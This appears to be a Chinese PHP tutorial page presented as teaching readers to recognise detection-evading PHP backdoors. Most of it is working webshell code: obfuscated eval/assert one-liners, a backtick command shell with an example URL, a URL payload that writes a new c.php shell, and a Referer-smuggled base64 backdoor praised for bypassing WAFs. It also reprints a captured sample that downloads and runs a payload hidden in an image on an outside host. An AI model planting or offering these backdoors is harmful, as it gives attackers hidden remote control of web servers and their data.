当前位置:首页 > PHP教程 > php高级应用 > 列表

教你识别简单的免查杀PHP后门

发布:smiling 来源: PHP粉丝网  添加日期:2021-06-17 10:39:33 浏览: 评论:0 

这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

一个最常见的一句话后门可能写作这样

<?php @eval($_POST['cmd']);?>

或这样

<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用,代码如下:

<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

构造生成,当然,嫌太直观可以写作这样,代码如下:

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门,直接上代码:

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

* 原理:PHP中``符号包含会当作系统命令执行

* 示例:http://host/?c=type%20config.php>config.txt

*    然后就可以下载config.txt查看内容了!

*    可以试试更变态的命令,不要干坏事哦!

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码:

  1. <?php  
  2. preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");  
  3. ?> 

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

  1. <?php 
  2. error_reporting(0); 
  3. session_start(); 
  4. header("Content-type:text/html;charset=utf-8");if(emptyempty($_SESSION['api'])) 
  5. $_SESSION['api']=substr(file_get_contents
  6. sprintf('%s?%s',pack("H*"
  7. '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); 
  8. @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); 
  9. ?> 

关键看下面这句代码:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,代码如下:

  1. <?php 
  2. echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*"
  3. '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); 
  4. ?> 

无特征隐藏PHP一句话:

  1. <?php  
  2. session_start();  
  3. $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);  
  4. $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' );  
  5. ?> 

将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门:

此方法用两个文件实现,文件1

  1. <?php  
  2. //1.php  
  3. header( 'Content-type:text/html;charset=utf-8' );  
  4. parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );  
  5. if (reset( $a ) == '10' && count ( $a ) == 9) {  
  6. eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));  
  7. }  
  8.  
  9. ?> 

文件2

  1. <?php  
  2. //2.php  
  3. header( 'Content-type:text/html;charset=utf-8' );  
  4. //要执行的代码  
  5. $code = <<<CODE  
  6. phpinfo();  
  7. CODE;  
  8. //进行base64编码  
  9. $code = base64_encode ( $code );  
  10. //构造referer字符串  
  11. $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;  
  12. //后门url  
  13. $url = 'http://localhost/test1/1.php ' ;  
  14. $ch = curl_init();  
  15. $options = array (  
  16. CURLOPT_URL => $url ,  
  17. CURLOPT_HEADER => FALSE,  
  18. CURLOPT_RETURNTRANSFER => TRUE,  
  19. CURLOPT_REFERER => $referer 
  20. );  
  21. curl_setopt_array( $ch , $options );  
  22. echocurl_exec( $ch );  
  23.  
  24. ?> 

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

Tags: 免查杀PHP后门

分享到: